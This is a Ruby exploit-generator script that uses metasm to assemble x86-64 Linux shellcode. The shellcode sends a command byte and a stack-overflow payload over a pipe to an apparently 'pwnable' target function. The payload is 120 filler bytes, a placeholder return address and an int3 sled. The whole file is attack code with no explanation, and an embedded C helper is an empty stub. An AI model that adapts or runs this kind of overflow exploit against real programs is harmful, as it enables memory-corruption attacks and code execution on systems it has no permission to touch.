# coding: binary
require 'metasm'

LINUX_SYS_WRITE	= 1
LINUX_SYS_EXIT		= 60
PIPE_WRITE_FD		= 4
EXPLOIT_CMD			= 0x0a

exploit_data = "A" * 120
exploit_data += "BBBBBBBB"
exploit_data += "\xcc" * 32

scode = ::Metasm::Shellcode.new(::Metasm::X86_64.new())
scode.parse <<EOS
	jmp get_string
do_exploit:
	; We have string ptr in stack
	mov rax, qword ptr [rsp]
	push rax

	mov rax, 0xbadc0ded		; Exploit string size
	push rax

	; The kernel interface uses %rdi, %rsi, %rdx, %r10, %r8 and %r9

	; Write CMD for pwnable function

	mov rcx, #{EXPLOIT_CMD}
	push rcx

	mov rax, #{LINUX_SYS_WRITE}
	mov rdi, #{PIPE_WRITE_FD}
	mov rsi, rsp
	mov rdx, 1
	syscall

	pop rcx	; Clear

	; Write data length

	pop rcx		; Read string length
	push rcx		; Send back the string length to stack :)
	
	mov rax, #{LINUX_SYS_WRITE}
	mov rdi, #{PIPE_WRITE_FD}
	mov rsi, rsp
	mov rdx, 4
	syscall

	; Write data

	pop rcx		; String length
	pop rbx		; String ptr

	mov rax, #{LINUX_SYS_WRITE}
	mov rdi, #{PIPE_WRITE_FD}
	mov rsi, rbx
	mov rdx, rcx
	syscall

;	int 3
;looper1:
;	nop
;	nop
;	jmp looper1

	mov rax, #{LINUX_SYS_EXIT}
	xor rdi, rdi
	syscall

get_string:
	call do_exploit
	; Exploit string goes here without NULL
EOS

cp = scode.cpu.new_cparser
cp.parse <<_EOF
void *find_addr(void *rsp)
{
   unsigned long start_addr = (unsigned long) rsp;
}
_EOF

asm = scode.cpu.new_ccompiler(cp, scode).compile()
scode.parse(asm)

scode.assemble
scode = scode.encode_string()

scode = scode.gsub([0xbadc0ded].pack('V'), [exploit_data.length].pack('V'))
scode = scode + exploit_data

$stdout.write([scode.length].pack('V'))
$stdout.write(scode)


